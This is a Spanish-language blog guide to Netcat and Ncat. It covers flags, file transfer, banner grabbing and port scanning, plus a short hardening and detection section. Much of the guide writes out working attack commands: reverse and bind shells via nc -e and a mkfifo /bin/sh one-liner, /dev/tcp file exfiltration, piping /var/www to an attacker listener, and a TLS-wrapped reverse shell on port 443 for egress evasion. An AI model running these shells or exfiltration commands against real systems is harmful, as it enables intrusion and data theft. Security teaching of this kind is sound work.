← Blog

Netcat — Production & Offensive Security Guide

Guía de operación de Netcat/Ncat: transferencia de archivos sin framing, reverse/bind shells, banner grabbing y port scanning. Con topología de conexión, matriz de flags y escenarios reales de pivoting, evasión y endurecimiento.

Netcat — Production & Offensive Security Guide


1. Operational Scope & Technical Objective

Netcat (Hobbit, 1995) es una utilidad de red de baja fricción: lee y escribe datos crudos sobre TCP/UDP como cliente y como servidor (listener). Su objetivo operativo es único — plumbing de bytes entre dos extremos — y de esa simplicidad derivan todos sus usos: transferencia de archivos, shells, chats, banner grabbing y escaneo.

Tres hechos de diseño que determinan su uso en producción y en operaciones ofensivas:

  1. Sin framing ni cifrado. Netcat transmite el stream tal cual: no hay handshake de aplicación, checksum ni TLS. El tráfico es inspeccionable en claro (cf. cryptcat y ncat --ssl).
  2. Orientación arbitraria. Cualquier extremo puede ser listener o cliente; la transferencia de datos es bidireccional una vez establecida la conexión.
  3. Variantes no intercambiables. nc (OpenBSD), nc.traditional, ncat (Nmap) y la versión Windows difieren en flags críticos: la opción -e (ejecutar programa) no existe en la build de OpenBSD y su presencia está restringida en distros por defecto (Debian la quita de nc y la mantiene en nc.traditional o ncat).
# Verificar qué variante está instalada
whereis nc
#   nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

nc -h | head -1        # ¿flags -e, -k, --ssl disponibles?

Reverse shell vs bind shell — topología

La decisión bind vs reverse es puramente una decisión de dirección de conexión respecto al firewall/NAT del objetivo:

Bind shell vs reverse shell frente a un firewall En el bind shell el atacante intenta conectar hacia el listener del objetivo y el firewall bloquea el tráfico entrante; en el reverse shell el objetivo inicia la conexión saliente hacia el listener del atacante y atraviesa el firewall. BIND SHELL · FAILS REVERSE SHELL · WORKS INBOUND · DENIED NO INGRESS OUTBOUND REACHES LISTENER CLIENT Attacker connect 4444 Firewall · DENY LISTEN Victim nc -lvp 4444 -e bash LISTEN Attacker nc -nlvp 4444 Firewall · OPEN CLIENT Victim nc -e bash <IP> 4444 LEGEND Firewall / NAT Denegado / focal Conexión saliente Ruta cortada Host / listener
Fig. 1 — El bind shell exige tráfico entrante (bloqueado); el reverse shell usa la conexión saliente permitida.

2. High-Impact Syntax & Command Cheatsheet

2.1 Matriz de flags

Flag Semántica
-l Listen mode (servidor). Por defecto nc actúa como cliente
-p Puerto local (en listen, el puerto a la escucha)
-u Modo UDP (por defecto TCP)
-e PROG Ejecutar PROG al establecerse la conexión — ausente en la build OpenBSD, restringido en Debian/Ubuntu (usar nc.traditional o ncat)
-n Sin resolución DNS (direcciones literales)
-z Zero I/O: no envía datos, solo verifica conectividad
-w N Timeout de conexión/lectura de N segundos
-v / -vv Verbose / verbose de conexiones y transferencias
-k Ncat: seguir escuchando tras desconectar al cliente
--ssl / --allow IP Ncat: cifrado TLS / allowlist de peers entrantes
-L Netcat Windows: listener persistente que reabre al cerrar

2.2 Listener y cliente (la base)

# Escuchar en TCP
nc -nlvp 4444

# Conectar a un puerto
nc -nv 10.10.14.2 4444

# Escuchar/consultar un servicio (POP3, HTTP, SSH) sin resolver DNS
nc -nv 10.10.14.2 110

2.3 Transferencia de archivos

La transferencia es un stream de bytes: se redirige stdin/stdout con < y >. No hay nombre de archivo ni checksum en el protocolo — la semántica la define el redireccionamiento.

# Orientación "listener primero" (el receptor escucha y guarda)
# Receptor (atacante)
nc -nlvp 4444 > dump.txt

# Emisor (objetivo)
nc -nv 10.10.14.2 4444 < file.txt

# Orientación "emisor primero" (el objetivo escucha y envía)
# Receptor (atacante)
nc -nv 10.10.14.2 4444 > file.exe

# Emisor (objetivo)
nc -nlvp 4444 < file.exe

Variante sin nc en el objetivo — /dev/tcp de bash (útil cuando netcat fue removido):

# Emisor (objetivo), sin nc: abrir un FD TCP con el descriptor bash
cat file.txt > /dev/tcp/10.10.14.2/4444

# Alternativa con FIFO para shell interactiva
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.2 4444 > /tmp/f

El flujo del stream:

Transferencia de archivos por netcat El emisor conecta por TCP al listener, transmite los bytes del archivo como stream sin framing y cierra con FIN tras el EOF. TCP CONNECT STREAM · FILE FIN · EOF SRC Sender nc <IP> 4444 < f LST Listener nc -nlvp 4444 > f LEGEND Handshake TCP Datos (stream) Cierre (FIN)
Fig. 2 — Stream de bytes sin framing: el receptor solo conoce el fin cuando llega el FIN de TCP.

2.4 Shells

# BIND SHELL — el objetivo escucha (requiere puerto entrante abierto)
# Objetivo
nc -lvp 4444 -e /bin/bash
# Atacante
nc -nv 10.10.14.2 4444

# REVERSE SHELL — el objetivo conecta saliente hacia el atacante
# Atacante (listener)
nc -nlvp 4444
# Objetivo (Linux)
nc -nv 10.10.14.2 4444 -e /bin/bash
# Objetivo (Windows)
nc.exe -nv 10.10.14.2 4444 -e cmd.exe

# Reverse shell persistente en Windows (netcat clásico)
nc -Lp 4444 -e cmd.exe

Verificación de egress antes del intento: si no se conoce qué puertos salientes deja pasar el objetivo, probar rango abierto con -z y capturar en Wireshark:

nc -nvv -w 1 -z 10.10.14.2 1-100
# filtro Wireshark: tcp.port == 4444

2.5 Banner grabbing y port scanning

# Banner grabbing de un servicio
echo "" | nc -nv -w1 10.10.14.2 80
#   HTTP/1.1 200 OK ... <address>Apache/2.2.22</address>

nc -nv 10.10.14.2 222
#   SSH-1.99-OpenSSH_5.8    ← fingerprint de versión

# TCP connect scan con -z (zero I/O)
nc -nvv -w 1 -z 10.10.14.2 1-65550

# UDP scan
nc -unvv -w 1 -z 10.10.14.2 1-65550

Nota operativa: el scan con nc -z es más ruidoso y lento que nmap -sS; sirve como fallback cuando solo se dispone de netcat en el host (p.ej. pivote desde un host comprometido).

2.6 Chat, streaming y pipes

# Chat bidireccional: la conexión es un socket de dos vías
nc -nlvp 4444          # extremo A (listener)
nc -nv <IP> 4444       # extremo B (cliente)

# Streaming de directorios sin tocar disco (tar sobre el socket)
tar -cf - Pictures | nc -l -p 4444        # servidor de stream
nc <IP> 4444 | tar -xf -                  # consumidor

# Foto por el socket
cat web.jpeg | nc -l -p 4444
nc <IP> 4444 > web.jpeg

2.7 Cifrado del canal

El tráfico de nc viaja en claro. Dos alternativas:

# NCAT con TLS — el camino recomendado (openssl integrado)
# Objetivo (servidor)
ncat -lvp 4444 -e /bin/bash --allow 192.168.30.5 --ssl
# Atacante (cliente)
ncat -nv 10.10.14.2 4444 --ssl

# CRYPTCAT — Twofish, requiere passphrase compartida
cryptcat -k $password -l -p 4444    # listener
cryptcat -k $password <IP> 4444     # cliente

Verificación del cifrado en Wireshark: filtro tcp.port == 4444 — los datos deben verse como payload no legible.


3. Real-World Offensive/Defensive Scenarios

3.1 Pivoting — transferencia exfil desde un host interno

Un host comprometido en la DMZ sin herramientas de transferencia puede exfiltrar a un listener del atacante:

# Atacante: listener que recibe el volcado y calcula hash al cierre
nc -nlvp 4444 > exfil.tar.gz
sha256sum exfil.tar.gz

# Objetivo (pivote): empaqueta y envía por el mismo socket
tar -czf - /var/www 2>/dev/null | nc -nv 10.10.14.2 4444

3.2 Evasión — reverse shell a través de egress filtering

Cuando el perímetro permite tráfico saliente hacia 443, ncat --ssl envuelve la shell en una conexión TLS indistinguible de HTTPS a nivel de L4:

# Atacante
ncat --ssl -nlvp 443
# Objetivo
ncat --ssl -nv 10.10.14.2 443 -e /bin/bash

3.3 Enumeración defensiva — fingerprint de servicios

Banner grabbing es la técnica más barata para inventariar servicios expuestos antes de cualquier scan agresivo:

for p in 22 25 80 443 3306 5432; do
  printf '%s: ' "$p"; echo | nc -nv -w1 10.0.0.10 "$p" 2>&1 | head -1
done

3.4 Defensa — endurecer listeners

  • Nunca dejar nc -e escuchando sin allowlist; usar ncat --allow y --ssl.
  • Los listeners netcat no autentican: cualquier host en la ACL de red obtiene la shell. Compartimentar con ACL de firewall y --allow.
  • La transferencia de archivos sin --ssl expone el contenido a sniffing — usar ncat --ssl o cryptcat para datos sensibles.
  • Detección: las conexiones de larga duración hacia IPs no corporativas, o patrones tcp.port == 4444 recurrentes, son señales de C2 o exfiltración; el uso de -e en shells interactivos deja rastros en auditd (execve de /bin/bash con stdin/stdout a un socket).